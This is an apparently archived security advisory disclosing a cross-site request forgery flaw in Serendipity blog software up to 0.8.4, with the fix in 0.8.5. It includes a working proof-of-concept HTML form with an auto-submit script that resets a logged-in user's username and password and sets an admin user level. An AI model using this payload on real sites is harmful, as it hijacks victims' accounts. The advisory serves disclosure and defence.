[UNIX] Serendipity Account Hijacking and CSRF Vulnerability

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  Serendipity Account Hijacking and CSRF Vulnerability
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SUMMARY

 <http://www.s9y.org/> Serendipity is "a weblog/blog system, implemented 
with PHP. It is standards compliant, feature rich and open source (BSD 
License)".

A security vulnerability have been discovered in Serendipity that allow 
accounts to be hijacked by utilizing a CSRF technique.

DETAILS

Vulnerable Systems:
 * Serendipity versions 0.8.4 and prior

Immune Systems:
 * Serendipity version 0.8.5

An attacker is able to change the username and password of a logged-in 
user (and can therefore hijack his account) by tricking the user into 
clicking a link to a page with the following contents:

     <form
action="http://your-server/path-to-s9y/serendipity_admin.php? 
serendipity[adminModule]=personal &serendipity[adminAction]=save"
method="post">
         <input type="text" name="username" value="evilguy" />
         <input type="text" name="password" value="evilpass" />
         <input type="text" name="realname" value="John Doe" />
         <input type="text" name="userlevel" value="255"/>
         <input type="text" name="email" value="[email protected]" />
         <input type="text" name="lang" value="en"/>
         <input type="submit" name="SAVE" value="Save" />
     </form>

     <script type="text/javascript">
       document.forms[0].submit();
     </script>

The fields "your-server" and "path-to-s9y" in the form's action attribute 
have to be adjusted accordingly.

Similar attacks (termed as "Cross-Site Request Forgery" or CSRF) can be 
launched for performing other requests disguised as the victim. However, 
this problem is not limited to Serendipity, but affects a large number of 
comparable web applications available at this time.

Solution:
Version 0.8.5 of Serendipity is reported by the developers to fix the 
Account Hijacking vulnerability as well as the general CSRF problem 
itself.


ADDITIONAL INFORMATION

The information has been provided by  <mailto:[email protected]> 
Nenad Jovanovic.



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